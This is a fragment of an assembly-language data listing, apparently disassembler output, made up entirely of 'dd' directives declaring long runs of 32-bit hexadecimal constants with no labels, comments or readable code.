		dd 3A3AE7C4h, 0D73F3CCEh, 4BC11D1Ah, 23F3211Eh,	21649822h
		dd 862B6991h, 8C2C2D7Eh, 33A9312Eh, 3734A432h, 3B386DB1h
		dd 4C3C3D47h, 0D527533Fh, 7CA91C68h, 29A42202h,	0A078E9ADh
		dd 0AFC43777h, 0BA236F1Dh, 58F5B23Ah, 68283C56h, 0DD480652h
		dd 913D8636h, 0C3919F38h, 71A8BB81h, 0C07522C5h, 28AA3A0Fh
		dd 862A2D28h, 5C633771h, 0B944C221h, 38BAFB3Dh,	9805CDBDh
		dd 0C925DD27h, 4B222480h, 941A5918h, 8B146B15h,	2C2E13B4h
		dd 90319270h, 74363694h, 28094A0Ah, 3D0ADE08h, 0FE4F6CB8h
		dd 10163629h, 1163A414h, 13CA1FC4h, 0E79DC58h, 0F680C9Ch
		dd 29251480h, 8A835A09h, 313D333Bh, 121C143Fh, 2E20101Eh
		dd 252BDC22h, 29272729h, 2D232B25h, 313F2F21h, 3ACB333Dh
		dd 36383836h, 323C343Ah, 131B303Eh, 0DF1F111Dh,	242C222Eh
		dd 2828262Ah, 2C242A26h, 30202E22h, 3B333DCEh, 37373935h
		dd 6A4F30B8h, 44733F3Ch, 3D338FC6h, 32B81473h, 0D88C6525h
		dd 89D12999h, 21AC0B3Ch, 7A6313F1h, 2DA117A6h, 0E5883839h
		dd 76433C3Dh, 80252DB9h, 73C2204Eh, 73E95702h, 8A772DE5h
		dd 18F082Bh, 186A3210h,	0DFB5947Ah, 27796677h, 2EF9BF13h
		dd 4F7C23B6h, 0E3D2F749h, 2BE44160h, 9E8F23CEh,	25622DAAh
		dd 71B96E79h, 41BF3B7Ch, 0B5B82312h, 2E7C744Eh,	0EB7357BFh
		dd 9259758Dh, 0FEF249A3h, 8C4CA5E5h, 446A3B69h,	702DEF9Bh
		dd 75A78423h, 0FD2831EAh, 0FA297E3Eh, 0C46D1C3Ah, 7E50411Bh
		dd 0C34152E4h, 44477760h, 3BC26648h, 7523D0h, 66016C33h
		dd 6725513Eh, 5A2E9832h, 72620083h, 4A9D787Eh, 0A66952DFh
		dd 0BA54A4Ch, 43454466h, 5D6DAB2Ah, 5E44515Ch, 613EDF2Ch
		dd 0A6399EDFh, 0FABEC3C6h, 0C9F4903Bh, 623F425h, 9A152724h
		dd 1B28F626h, 7E7B030Ah, 0EDB27C7Dh, 136174Eh, 0BD375BBEh
		dd 3F3C3A20h, 1FF3Fh, 4A4E1A77h, 0E3327123h, 28A3294Fh
		dd 0A1291429h, 422F0779h, 615F3393h, 9A2A3564h,	341A9E39h
		dd 0F73F9C2Fh, 181EBC31h, 3A002182h, 0AA3735D8h, 8A9683A5h
		dd 2F8CDC2Ch, 0D5329074h, 639C3596h, 99E13D29h,	3E6F293Ch
		dd 0B41DBECBh, 0E726012Bh, 27C12481h, 2A8B9225h, 2F7C6081h
		dd 0B21B80Fh, 1615D42Bh, 7C29100Eh, 6040CB3h, 245C5D0Fh
		dd 0A901DF56h, 0C57C1A72h, 41114707h, 5DA4092Ah, 13105717h
		dd 75BC0AB2h, 0A83714h,	8D6D02A2h, 0BC22A33Eh, 8C26B624h
		dd 1D932218h, 119B1F9Dh, 0E42B13E9h, 783AD17Ch,	357751B2h
		dd 0FF18B5F6h, 10BB3B39h, 0E4F78EBEh, 1F1C8DDFh, 0A277012Dh
		dd 142A2DB1h, 0A3BF28C5h, 622C2D2Dh, 0B34CA4B3h, 89A03130h
		dd 0D3AC3937h, 0D267BC7Dh, 43431F6Fh, 0A872B61Fh, 4B22374h
		dd 0AE26BF2Eh, 28A6B4B9h, 34B0FAEEh, 4F74AE46h,	2200802h
		dd 7E912509h, 2D1B8B3Eh, 564F794h, 9529B31h, 38273EA2h
		dd 22FB2B25h, 3330202Eh, 21395326h, 0E922473Ah,	8C1C5132h
		dd 44AB3E66h, 0A1133EC5h, 253522E3h, 18C2E586h,	58C32B09h
		dd 44CF842Dh, 3614EA31h, 0FD3612F8h, 0E0B33A4Bh, 1B4D83D4h
		dd 6DABF4D8h, 0CA8E6920h, 9F265589h, 4E23BB88h,	2027B23Bh
		dd 5DB86C30h, 72BD36C4h, 0DBB93980h, 30FEB83Dh,	1E9D149Fh
		dd 266CAB1Ch, 27657CCAh, 2B8C3565h, 416D2A1Eh, 17FAEBEDh
		dd 5B36F681h, 0F89B15F0h, 0AC08FB38h, 209A18FDh, 22A2549Ch
		dd 0A4566624h, 0ED616925h, 6D974EA8h, 67B2E72Dh, 0F29A30B3h
		dd 32D02C26h, 0D1BF3B21h, 4B4D6A76h, 211F1E77h,	2D49264Bh
		dd 3C61AF25h, 0C43754A0h, 318226D1h, 311C1231h,	380A3141h
		dd 3E3B3EFAh, 4C683748h, 0F7484A4Ch, 7C2080C7h,	237827E4h
		dd 29C8395Ch, 2E9E2458h, 0F2F6CFB1h, 3387B514h,	0E40F3239h
		dd 603E225Dh, 942E30Ch,	357E3740h, 195931AAh, 0BC701A7Eh
		dd 0B52CD8DAh, 6B036910h, 0E4BB413h, 65D3976Eh,	7965517Ch
		dd 451DFBB1h, 23F46059h, 5A546476h, 6E7727C5h, 2D231835h
		dd 21AF2F21h, 80E623A5h, 0AFF027A3h, 33A9422Ah,	0F6A92FAAh
		dd 5181C42Ch, 20E01965h, 23533E06h, 2E2609A9h, 0C0002E38h
		dd 0C20030DAh, 389AAE5Dh, 0BD1F3A3Ah, 0A83D65Dh, 1D074F04h
		dd 23276738h, 3F26DD3Ch, 2F42EDD7h, 0B627A2Eh, 0B229342Ch
		dd 0F7B3354Fh, 0BDFC304Ch, 3C7E3DA9h, 961BF71Ah, 7B08731h
		dd 642727E2h, 6B60953Ch, 0BF7A4423h, 326232EEh,	48247532h
		dd 0A83A39D3h, 0BA0BBEC2h, 62185A36h, 6B245E56h, 70072158h
		dd 582AA4h, 7FA72C6Bh, 4732EE77h, 8B8710Ch, 1DA43677h
		dd 3B3D3A3Ah, 1F1A5699h, 901720B7h, 5563941Fh, 16EF18E7h
		dd 0F815E429h, 0D011F413h, 0AD5320Fh, 6C508D9h,	0C23B04C1h
		dd 11003A03h, 1F210D23h, 1C3E1E36h, 180E1A06h, 1F150728h
		dd 6F111713h, 0C74310Fh, 8640A78h, 653A0660h, 55015903h
		dd 7279727Ah, 2253207Ah, 7924B622h, 58295D57h, 424C4F4Eh
		dd 32303043h, 4254360Eh, 38395158h, 4D3FF13Bh, 78686846h
		dd 23201F73h, 1A252332h, 69281419h, 7D746A73h, 3170776Fh
		dd 0F4363368h, 4B4C4434h, 4D5F55BAh, 800E3DFDh,	231EA96Fh
		dd 0A1E52228h, 2924269Fh, 5DBA2DC2h, 0AD162A2Dh, 0B13C6E31h
		dd 52B32DC5h, 3ED3AA3Fh, 0EB0F2BC2h, 0DC258D79h, 2253A4A9h
		dd 29967CA0h, 0EAECA92Bh, 0A6E71E09h, 514A157Ch, 0B7F6E566h
		dd 0E19B3A38h, 0D72F3DCFh, 1EED5FF6h, 0AF33208Eh, 276550ADh
		dd 0D8F4A2CFh, 2FD9912Ah
		dd 0C0FCD83Ch, 30337033h, 0D22D38C4h, 713DCE86h, 81CEF6Eh
		dd 21D2B2F6h, 3324D7BAh, 0DBB5CF32h, 2DD8CA2Ah,	0B8BDC739h
		dd 321E33C0h, 0D12037C5h, 3148FBBFh, 4A3177B5h,	0DF1E958Dh
		dd 16F32031h, 292B24E5h, 0A77CAE27h, 32F78A10h,	0C5B83230h
		dd 2DBCE1CAh, 0DD3BA6D0h, 95B43F3Dh, 1F1E193Dh,	18E00A22h
		dd 9E3753E5h, 3A2BEC2Ah, 0D0FEE9C4h, 0E436CECFh, 68283797h
		dd 2A4B23E8h, 3D5EE11Ah, 42390744h, 3F9A3B4Ch, 722076F6h
		dd 792F2D76h, 264DD330h, 66792B7Bh, 1B14A0DBh, 319C145Fh
		dd 3B7DDF4Eh, 0F51D0060h, 705D8DCFh, 3820B139h,	89B32ED4h
		dd 0DE25D42Fh, 6F6F4315h, 60F401CEh, 363BB366h,	0C2284BBFh
		dd 455FC0C1h, 859421Ch,	30E36370h, 0D7717731h, 0A764AAFCh
		dd 6E70E8ADh, 0F0B2696Ch, 0FB0B5E37h, 113B3EA9h, 1B3F0345h
		dd 1F744BA0h, 22482020h, 32D9274Eh, 6AF6192Ch, 0D0D0AE4Ah
		dd 383E3645h, 3C31D2F5h, 0E8A23AEFh, 0CE3EC7B7h, 0E316D41Bh
		dd 62A90A1Fh, 4624D920h, 2BA26CD0h, 0EF393C4Bh,	52313CCFh
		dd 36F2BFC9h, 0D5B2E8C0h, 0D41EFF18h, 597D197Eh, 0CEABDA1Dh
		dd 2D954122h, 28D7D87Dh, 0CCED2448h, 53333A3Fh,	0B435387Fh
		dd 5C7C3636h, 49595752h, 1B443971h, 210D5A2Ch, 36630A2Fh
		dd 86A73AA5h, 684F4F42h, 424C4B3Dh, 34FBF354h, 0F876F937h
		dd 485E4998h, 187D4878h, 481D1D8Ch, 65564841h, 74A4574Bh
		dd 4E46E7A8h, 0AF444F63h, 0B373070h, 0A2EE34ACh, 0AA576939h
		dd 3EAB653Dh, 9B190D3Ah, 5920B100h, 87256498h, 283CAE21h
		dd 2C38A7FAh, 6830789Fh, 0E63471B3h, 34393972h,	0CE3C798Bh
		dd 0E518AA9Ah, 0BF231BAAh, 552A2D21h, 0AEED5226h, 1D2EBED2h
		dd 3D31E32Eh, 1170B832h, 45F8B232h, 0C5BF303Ah,	0A41D403Ch
		dd 0DFE01EECh, 31DCE1DEh, 2AA7FC41h, 2D2BED28h,	0CC302E3Bh
		dd 40B86431h, 0CEB23E11h, 0C3073A4Dh, 19E73628h, 0EF1E261Dh
		dd 49741354h, 274E2424h, 2B282828h, 0A9005878h,	26F25A09h
		dd 30B62D94h, 6B6E7FFFh, 5783E3Ch, 0DA05BDC0h, 20E1351Dh
		dd 6D13D2Dh, 0C8302F6Ch, 2735CA78h, 3110EAC7h, 19F22CD5h
		dd 0FAD132BFh, 40B03F1Bh, 3533DD15h, 0A29DF715h, 30874F1Ch
		dd 3D0ACF2Ch, 0AC11A01Fh, 7AB43413h, 0F5271172h, 0B2793730h
		dd 7936B6D2h, 58D57EBEh, 701D7453h, 640524C9h, 2A6BE34Bh
		dd 0C4282A28h, 612F64AFh, 37E4CD61h, 203CF6F0h,	0FC1C3504h
		dd 14717E2Ah, 961BDE83h, 4AA2496Eh, 0A329FEA0h,	43822697h
		dd 2094B720h, 3F3DA461h, 673D3FC0h, 23350936h, 0F0B5003Ch
		dd 3F74A1F3h, 0C24D7E53h, 69F4D528h, 32312666h,	0E15C429h
		dd 2A3F7206h, 19A9DC32h, 0FB2B5AE8h, 0B3338C3Bh, 460FD9E2h
		dd 0AE21B1Fh, 6524D35Fh, 6428C364h, 6C3D2BCAh, 0D16B2227h
		dd 0B53D761Ch, 383934B7h, 0AB389FB1h, 0FC1BDEE5h, 20FEBF04h
		dd 0C58F14C1h, 3E32A625h, 0C2BCB9Eh, 30CEEC0Fh,	8E303237h
		dd 3F37D7F8h, 3CDA05F9h, 0FADC2DBDh, 1F170D1Ch,	23C3CF23h
		dd 47841660h, 186B3E29h, 1C5348CDh, 0BE14B1B4h,	175BDFB9h
		dd 10FBB039h, 0FFB40E7Dh, 5B2E5D0Ch, 11712205h,	6A49850Ch
		dd 0C1C13E14h, 7E110C1Ah, 0BC31ACC7h, 74450760h, 0D50A7F7Ah
		dd 0D75103Ah, 2E5154D4h, 2301C4C9h, 0A02B78E7h,	2B28221Fh
		dd 9A8A63Ah, 49B5EDFCh,	36DB62h, 1DB41937h, 6C3F3BDDh
		dd 5D1ABFB5h, 245E3F5Bh, 679E06B5h, 0C0754EABh,	0A828EB39h
		dd 696EA06Eh, 0CBDB5A61h, 74B97F67h, 1B3AB478h,	2BF5D2Bh
		dd 0F70F9355h, 0D1DD21E9h, 0CF7D28Ah, 0FA0AA2D1h, 0D2A5DAA7h
		dd 0B8971521h, 14C6FF36h, 85359DCBh, 3E3E3D71h,	1D1D5DA3h
		dd 2254E824h, 66249721h, 5672D0A4h, 4F95D823h, 4E4A30D7h
		dd 0ED7DB0C7h, 3EAF1A42h, 3A89FC08h, 19AB5EFEh,	71E877BEh
		dd 70A5BB4Ah, 5A403CCFh, 47381EEAh, 0CA05CE2Bh,	0D15C4432h
		dd 5A59E00Bh, 0F65D213Bh, 5013F39h, 8D7D255Dh, 0CA6DA2Bh
		dd 0AD34A66Fh, 46AF25D6h, 351EE5B4h, 0B48403F0h, 3016D03Dh
		dd 0E73CFA34h, 1CDF655Ch, 1C1E8992h, 0A2B1B7AAh, 75775B44h
		dd 0CAB6EC40h, 1A2009ECh, 72523730h, 6BBE32B5h,	0D3664D1Ch
		dd 0BF325C3Fh, 6A683C6Ah, 0C2D3553Dh, 79DADB3Ch, 0ABCA4879h
		dd 0EC4AA8BAh, 7D7DF243h, 96B4DC74h, 0E423F93Dh, 0FF3B9CAFh
		dd 0C0CC1B9Eh, 4A041AFFh, 23254286h, 78288649h,	25EC02A8h
		dd 872A892h, 973573B7h,	3B997E9Bh, 3C7C1F17h, 1D5A4276h
		dd 412FB4BEh, 1C61FC22h, 0DC7BE7FCh, 4C78B609h,	0A7D8C26h
		dd 1133936Bh, 71277977h, 3BF035DBh, 6A853D3Dh, 9B1E351Ch
		dd 2353E923h, 0F125250Dh, 13A2959h, 5ECA2E2Ch, 30321A30h
		dd 3747C776h, 453E3914h, 37133D5Ch, 6F131F1Bh, 21210E1Fh
		dd 2654053Fh, 2A2808h, 2E1D2C5Ah, 430933ABh, 35350533h
		dd 2A394971h, 0CB6926DFh, 1210D432h, 7670B01Eh,	0CD806CF3h
		dd 0A86CA72Ah, 216E78ECh, 3E5639BFh, 7E751273h,	38C8BE3Ah
		dd 0FBD431FAh, 0ED31AF23h, 2DF71212h, 69731501h, 31F61963h
		dd 0C42729C8h, 385E5FC7h, 72FD314h, 0F8B22DE5h,	2CFBFA79h
		dd 3280D3Dh, 9B17FFDDh,	6B13A04Fh, 27A7FF2Fh, 7A3595BEh
		dd 2E087376h, 0F2203102h, 0E03D3BD3h, 38EAC1B3h, 0FFE9CAEDh
		dd 815DE584h, 3E27121Eh, 1E71623h, 9CEE821Ch, 8E6C8DC2h
		dd 3EDAF13Bh, 72EC32B3h, 254D0F55h, 3E42FCBEh, 295A906Dh
		dd 71185195h, 0DA7272A2h, 0D1A31770h, 0D2644C6Bh, 38316D5Ah
		dd 52D795D9h, 0C6C72705h, 18DC5F2Fh, 14492FB5h,	23770BE2h
		dd 62A87206h, 0E8A41639h, 5B887A6Dh, 0F7A428ADh, 0B514D3F8h
		dd 0D3C8C8D6h, 38FB093Bh, 3F735E0Fh, 1E4F4B2Ch,	7B00A112h
		dd 5F33A515h, 1E2A59C0h, 7F42562Ch, 3001B081h, 20B6F4DCh
		dd 0B91636B8h, 0EAF2390Eh, 3A491F1Bh, 0A2ECAB73h, 0FE3DCC71h
		dd 0AD6FD7D9h, 0AC7BFE01h, 3C02D805h, 1E152431h, 9B36A1DFh
		dd 0CE22EC1Fh, 1C35BA25h, 71FB9A78h, 0DDA70657h, 0F9A935E6h
		dd 0D257F31h, 51066D3Fh, 0F30F3728h, 794AB543h,	6D6A632Dh
		dd 12095B56h, 0D89C385Dh, 0D4435623h, 0A3E33617h, 0EB293968h
		dd 398F7F58h, 34F232B4h, 39335E36h, 0C33B3839h,	19E5F628h
		dd 99DA9E1Dh, 2348A024h, 4FD6AE32h, 2301A89Ch, 0AE42457Dh
		dd 26CD6726h, 35ED75C4h, 5A65139h, 3E8E3B3Fh, 0E6960A1Bh
		dd 0A739E49Ch, 5351BCDCh, 2A192870h, 0AE494613h, 36277037h
		dd 73B5E5DBh, 6FD78B4h,	121978B2h, 491916FEh, 73A01174h
		dd 0FD046326h, 6C7B2EE6h, 6DD40B6Bh, 98D82A39h,	20283AF0h
		dd 0FA203EF6h, 1C7C291Ah, 4908552Ah, 0E0100BDDh, 7E32D20h
		dd 2F79A711h, 2D0F2B8Ah, 3330C49Dh, 0B4BC26F3h,	985A8AB9h
		dd 1C68327Dh, 6FB66990h, 5D43225Ch, 6D1261C0h, 7CDCD20h
		dd 657EA4A4h, 33B4CD1Eh, 92E90230h, 57744B35h, 6B34BB98h
		dd 0D81EF2B7h, 0F61C043Bh, 0A282409Ch, 78A82B16h, 0A1784437h
		dd 7D7A1EE8h, 724BEEC7h, 760B7538h, 3E13AC7Ch, 3E9F2C3Ch
		dd 0FDECBB7Bh, 74F22C7Eh, 25A10803h, 365E71FDh,	1F0627A0h
		dd 3E44E72Eh, 413ECAB2h, 0C0B8373Ch, 0BD394F37h, 691B63C7h
		dd 13DFE019h, 6C1860F3h, 4AC654F6h, 0AF00BA04h,	0F00A42EBh
		dd 1BF33E3Fh, 7E1788DDh, 3C1232B2h, 2BB63268h, 1E0E4F1Eh
		dd 0D68FE824h, 2BD6CC0Fh, 9B401988h, 2B3F0D2Eh,	0C9DA6118h
		dd 373E3B25h, 903CD1A9h
		dd 120E00BCh, 261C6C07h, 96FF127Ch, 0CE3CFC22h,	8A18B427h
		dd 861C881Ah, 381301Eh,	78D0587h, 0FE3909F7h, 0EE0CF40Ah
		dd 1D2DCF0Eh, 10C02EC2h, 1614103Ah, 7D1B6326h, 551F7319h
		dd 5A42F1Ah, 19007AEh, 8D38039Ah, 0D908F30Eh, 1C2FD30Ah
		dd 14E32AE9h, 112F1725h, 0E8152150h, 78287BC0h,	6CC77A1Dh
		dd 34539432h, 6E77661Bh, 0BC113832h, 471B623Eh,	97D5964Ch
		dd 600BDEC8h, 2B4E1D6Bh, 7BFA3B29h, 6A0C15C4h, 0F974017Fh
		dd 0DF3235B7h, 5130F8E1h, 553C573Dh, 0E1753C93h, 0A6983F1Eh
		dd 38F724F6h, 2AFC73C7h, 0FBFF32F9h, 0F62FE22Fh, 0D28D34E3h
		dd 2EC8C17Fh, 2AC2E844h, 1D131B30h, 31201055h, 4A54A771h
		dd 0D884CCFh, 0D9A1B3A7h, 935C3EF0h, 95EBB732h,	9A6D9136h
		dd 0D4BD2B3Ah, 281B9D74h, 1FB51C1Ch, 9477B0E6h,	3406172Eh
		dd 40D907C1h, 0C39E2FCDh, 0CFDB3A2Bh, 22C02A24h, 93D2A3Ah
		dd 0DA2B3EDDh, 1EBE9215h, 7762A35h, 3F865D92h, 0DB462F79h
		dd 732C3D0Ah, 0FB0C3D31h, 17563164h, 3D6B6AF8h,	0D7341D79h
		dd 1B5E4A81h, 0B9350B52h, 0D6C0F6Ch, 62026733h,	7FE9AD00h
		dd 19A0CF0Dh, 363A103Ch, 3A363838h, 3E323C34h, 12B51B30h
		dd 71734E1Eh, 0F643354h, 0D65F8175h, 0B137B85h,	475E0911h
		dd 139D4673h, 1AB81657h, 1EB39E04h, 3F941CB1h, 45767A71h
		dd 244C0253h, 47610643h, 425E5E5Bh, 790F4B2Dh, 141E1278h
		dd 4D583671h, 1C5E565Bh, 77675B75h, 379E6575h, 0A46D28A5h
		dd 0E747172Dh, 6F692C3Eh, 28386D67h, 5ABA6217h,	3EB64358h
		dd 3B434D6Bh, 517B3D33h, 0EE3C4C18h, 7F7F7F1Fh,	2641E410h
		dd 2E2925AEh, 0AAE9AD70h, 0F13030DEh, 363AF8A3h, 3A363838h
		dd 31C23C34h, 121C143Fh, 2E20101Eh, 2A242C22h, 0D6282826h
		dd 2D232B25h, 313F2F21h, 353B333Dh, 39373739h, 323C34C5h
		dd 73773D98h, 4376167Ah, 6416A07Eh, 2D435256h, 4A202949h
		dd 445A412Eh, 52B35D6Eh, 5656446Ah, 3FBF5F5Eh, 7556343Dh
		dd 76727C6Ah, 23022344h, 55495137h, 2B147D14h, 4D5B5E0Ch
		dd 5A405243h, 37424534h, 4E484D31h, 3B14633Dh, 0E12D30Eh
		dd 0E272531Eh, 0DCAE734Ch, 19E2A337h, 3EFCBCEBh, 0C5399EDDh
		dd 36B57DE2h, 35C0BB3Bh, 363D5CBEh, 1B6AC9EEh, 0B7A04441h
		dd 7234E0F0h, 3BC87132h, 0FDB4AB26h, 4C41383Fh,	0AE943D97h
		dd 7D7546BAh, 0FDB93A38h, 5290234Bh, 21A7161Dh,	0EDA62121h
		dd 2C6126ACh, 8EC32F5Dh, 0CF6FD32Ah, 0BF3F74B8h, 7E7937F2h
		dd 0FCBE32B9h, 95D70749h, 4F1E3B1Ch, 732E67ABh,	7728D5CCh
		dd 0EFA9D6D5h, 2F0D072Dh, 33336172h, 3F48B676h,	0B6BA3DB8h
		dd 22C57808h, 1F3018DBh, 0A781706Ch, 2013963h, 3AA0085Fh
		dd 2D2DD6A5h, 0BB19322Fh, 36CBBC8Dh, 0B303B834h, 6FBD3AADh
		dd 179A92B7h, 0E7A11FBEh, 0A624832Ch, 0A5291F86h, 7672ECA1h
		dd 0D2278971h, 2D072B0Dh, 0CE78B339h, 0E3E3B3Fh, 24157FF7h
		dd 453974Dh, 4364201h, 8A0326C5h, 2BAA7Bh, 100F787Dh, 15131275h
		dd 0C70F37B5h, 3ABAA62Ch, 3F351A79h, 0BFD512FDh, 2B2FAB26h
		dd 3886245Ah, 645EE0ACh, 270A79A7h, 0B13FBA17h,	32B03131h
		dd 3F3FA83Ch, 983A38A0h, 0AC19194Eh, 279C241Ah,	2220EC27h
		dd 2E29ADF4h, 542DBAD4h, 3470590Fh, 57283430h, 59455A4Bh
		dd 423D5847h, 617A675Ah, 21486379h, 4F584A5Eh, 45544C5Ah
		dd 5141572Ah, 4D5F5340h, 2A143702h, 3E186BBDh, 21183B7Eh
		dd 9F5B31B5h, 1B1B0AD8h, 3838C2E0h, 0D628AA2Ah,	7AD4D5E9h
		dd 33EB3BD2h, 18304213h, 3524F175h, 8C88079Bh, 9B8F613Eh
		dd 1DF5401Dh, 63A92090h, 2656AC38h, 15487276h, 0EF8AE9ADh
		dd 1389AF34h, 22367115h, 0BB3A39C7h, 3F7D3D80h,	8D183C12h
		dd 22892606h, 86201420h, 2B892887h, 86870C2Ah, 3781102Ah
		dd 16308C13h, 78293DF7h, 28BF39F3h, 1894183Fh, 2485EF9Ch
		dd 3521D818h, 392C9A25h, 873C2E21h, 3E302030h, 353BEC32h
		dd 39373739h, 15733B35h, 5C7EDF7Fh, 0DD870235h,	0C7C1270h
		dd 0C4A62624h, 177EBB21h, 31B3A57Eh, 34663019h,	3CCCEC1Ch
		dd 153B8766h, 8340218h,	3F1CECB2h, 0A79C2EE3h, 0AC888400h
		dd 173B2815h, 5C4F5F49h, 37CD542Eh, 33C931CBh, 7A7B3200h
		dd 0D0F2D6Ah, 51BC555Bh, 2224431Eh, 484C421Ch, 4B457743h
		dd 41053C52h, 8D348F49h, 8E308B36h, 0FA3A713Dh,	5F38BE31h
		dd 6D722439h, 2E530171h, 2A212C27h, 1B2D2223h, 3F1D298Bh
		dd 3F30CDEFh, 0E2BFF939h, 11CFFF35h, 0BDE5B0E8h, 879BE0A8h
		dd 0C193A41h, 0D61B261h, 0FBDCEE36h, 8E6A71CEh,	0F0FC076Fh
		dd 0E491714Bh, 2DE694F1h, 0FA7B137Bh, 69BFD79Fh, 5DFFD0FAh
		dd 38626001h, 6723C2E5h, 2BD4372Ch, 0A99245BFh,	2AB35F03h
		dd 4B66116h, 0B92E1D7Ch, 0B5D62971h, 0A22E993Bh, 0CA35399Ch
		dd 843CA5E8h, 7A30AC9Fh, 8EE17C3h, 103CF03Fh, 6213F63Fh
		dd 45FAD5DFh, 9F3FD437h, 39987D3Eh, 23201776h, 692CA327h
		dd 0C97E7676h, 3D08FF27h, 0F5B4AC0Fh, 38713016h, 6F383CE7h
		dd 1940B06Dh, 48E4BA2Eh, 2A9F3269h, 3E29A82Dh, 9D372CA5h
		dd 8C3B2389h, 610E7E24h, 0D76C3838h, 31FA370Ah,	3C2A2E81h
		dd 9789D63Fh, 72BE1C74h, 7AE1741h, 2B536974h, 2D9B0140h
		dd 0F3B29D3h, 0C9DA3421h, 135E3634h, 0CBEB0D28h, 0D39F0E30h
		dd 0AA2E1CFEh, 0AA80231Fh, 0AF2426E9h, 0A7BD2862h, 0D17DB86Eh
		dd 3230B41Ah, 0AA70B9F3h, 0AA7CB567h, 9E253C3Ah, 3509E46Fh
		dd 20201DC4h, 10120714h, 291E1B10h, 1B5C1D67h, 7B719AEh
		dd 0FF02A8B2h, 150F3900h, 643C3DAAh, 9F2C4309h,	20288A2Ah
		dd 13FE15E7h, 100311D6h, 0AE136629h, 0F117A115h, 0CCF3209h
		dd 1390F32h, 0A3B0316h,	55067804h, 1F250E25h, 0D26649C4h
		dd 770FCD61h, 9F23732Dh, 1FAB2F6Ch, 13F6B233h, 1233E95Ch
		dd 39EFB188h, 37169A35h, 0D596F412h, 276365FEh,	5322B637h
		dd 283A4DABh, 6E3E6E71h, 0DB30802Eh, 0BBE4742Eh, 0D20B7787h
		dd 7F2BFCFAh, 151CCF28h, 129BB1Fh, 4DC2202h, 0A85927A6h
		dd 0EC0B2D2Ah, 34332E2Fh, 357429FFh, 6B834A6h, 3C3CFB06h
		dd 38187F15h, 213EA718h, 24A3337Fh, 0E88E39C3h,	2D3F9528h
		dd 310E322Ah, 26321228h, 3D30369Ch, 3D3AFAA0h, 3B6A2C0Dh
		dd 7988DF10h, 336C2043h, 52E625A1h, 0A32B992Fh,	712E3D6Ah
		dd 2374F7F3h, 21043434h, 6A05F8F8h, 375E6C34h, 1E0D5A91h
		dd 3E55E09Bh, 0AB296AA8h, 7B06C9D6h, 3CED68C3h,	2710F0Eh
		dd 68D533F1h, 0FA0AFB6Eh, 2E493CBBh, 0C7137AC1h, 0C32F7EADh
		dd 2A4573B2h, 4829B7C2h, 2D958325h, 160C82Dh, 64BD6661h
		dd 37995C1Eh, 0D273F0Bh, 1F5A9239h, 0B5D2AF19h,	0D5272411h
		dd 6B31AD2Eh, 289B93F9h, 355AF50Dh, 1851358Ah, 69CD6521h
		dd 0CCDB23C9h, 0BB5F010Dh, 54BE9557h, 0F71D65E0h, 24269EC4h
		dd 0A70F2908h, 2B2D2D04h, 33269350h, 9D067196h,	0B3492960h
		dd 0FB86A2BCh, 82EF043Fh, 93BDF124h, 26A54BFh, 0E6B0C68h
		dd 1A051E07h, 1679681Dh, 0CE4154FBh, 19F64505h,	0FFB63E1Ah
		dd 1C98AD57h, 3C025E1Ch, 0E7F32F76h, 2989F186h,	304309B8h
		dd 69338D7Bh, 57D73390h, 7D1A1976h, 0DC2C1153h,	8139DB3Bh
		dd 0AA3E5FC2h, 26E277C0h, 1821A430h, 2E50A14Bh,	977D7804h
		dd 0DA4231B1h, 0B9AB34F4h, 0B0056307h, 25DF07EDh, 0AC21B61Ch
		dd 0C51DF81Fh
		dd 97D8271Bh, 292AD92Dh, 2F2D2DA8h, 33E0135h, 7790573h
		dd 470A4838h, 0F70EB40Ch, 2ECD1C2Bh, 232110ECh,	17353612h
		dd 0EA70193Eh, 0C01C8811h, 3B012Fh, 4AF0656h, 3EDA53DFh
		dd 30DC32D4h, 1BEC1C85h, 0CE24EE5Bh, 4D2AC62Ch,	0C21D24D6h
		dd 23C99324h, 0DE2FBED5h, 7A63DB3Ch, 37D73226h,	33DE35D5h
		dd 12F189F0h, 2EF91F15h, 25239516h, 0A326264Fh,	2C81C2E1h
		dd 60D0D291h, 36333159h, 383CD3DDh, 6419503Bh, 0F368758Dh
		dd 9C1AADF7h, 7C1219E4h, 582AD57Ah, 0C723266Ch,	21AEA86Ch
		dd 63250278h, 17765F63h, 0B02E39B9h, 3B40B63Ah,	161D4290h
		dd 732D4E94h, 0B661AD71h, 0DFC14803h, 0E9A62A2Bh, 523136DFh
		dd 0EA20C42h, 2F3009Fh,	73904E0h, 2427222Bh, 1883265Ch
		dd 1F761926h, 13C51DBBh, 16DF1015h, 0D6C1305h, 9D60F94h
		dd 4F60A28h, 3680522h, 232601AEh, 1FDC219Ah, 27231DDEh
		dd 29272445h, 80282AB5h, 21FD81Dh, 54F7068Dh, 94AAD61Dh
		dd 6F147A6Ah, 48106D12h, 4D714D2Ah, 0EF704561h,	0FB10F112h
		dd 0EF3E00C2h, 7C8E311Bh, 5306061Ch, 0D71C1A1Eh, 0CDE0EE4h
		dd 906A51D0h, 1D37B331h, 774A0AB0h, 1F611D1Fh, 7E89116Bh
		dd 4A147012h, 3A0B324Eh, 0D6F2DC64h, 823C1836h,	9E391CDCh
		dd 697BF910h, 0A237FB10h, 3230C137h, 1A57042Ch,	6D7D2B37h
		dd 61312FAEh, 979FDBAEh, 0D8129777h, 1D384E7Dh,	1D1BB716h
		dd 76208F44h, 1E4258C9h, 7FA74E25h, 0A72A2A6Dh,	62C77F2Fh
		dd 0D834530Ch, 7C3ED639h, 786929BAh, 1C9EF8D5h,	9D181B9Ah
		dd 3874C916h, 252F1167h, 64282B8Dh, 64D42F28h, 313B1483h
		dd 323437B0h, 0E2383A30h, 5C3C3269h, 1A531E19h,	202E981Dh
		dd 24277161h, 0BD2B2CB0h, 2D39097Dh, 473951D1h,	0B3BF148Fh
		dd 3A3A388Dh, 29BEB9B4h, 139E9F1Fh, 21A8121Eh, 0DAEAA026h
		dd 0A005E56Fh, 0C42E4B9Fh, 4338E48h, 463FB131h,	0BAEEC8AEh
		dd 0FD403AC2h, 0E3E3BC91h, 32FCB469h, 0CC2024E1h, 0C3294737h
		dd 2ABB2F2Bh, 61AC332Dh, 62666131h, 0B160C7BEh,	2C1F3A4Dh
		dd 0E55125D5h, 0DF1E99E3h, 7D7D2955h, 677F7E79h, 2A2A21EAh
		dd 0BA2FABA6h, 9E91103h, 373C40F7h, 3AFA0B2Ch, 7BB52B3Fh
		dd 7296003Fh, 1139203Bh, 0E51E6CD5h, 0D719A1EDh, 7FEE20CBh
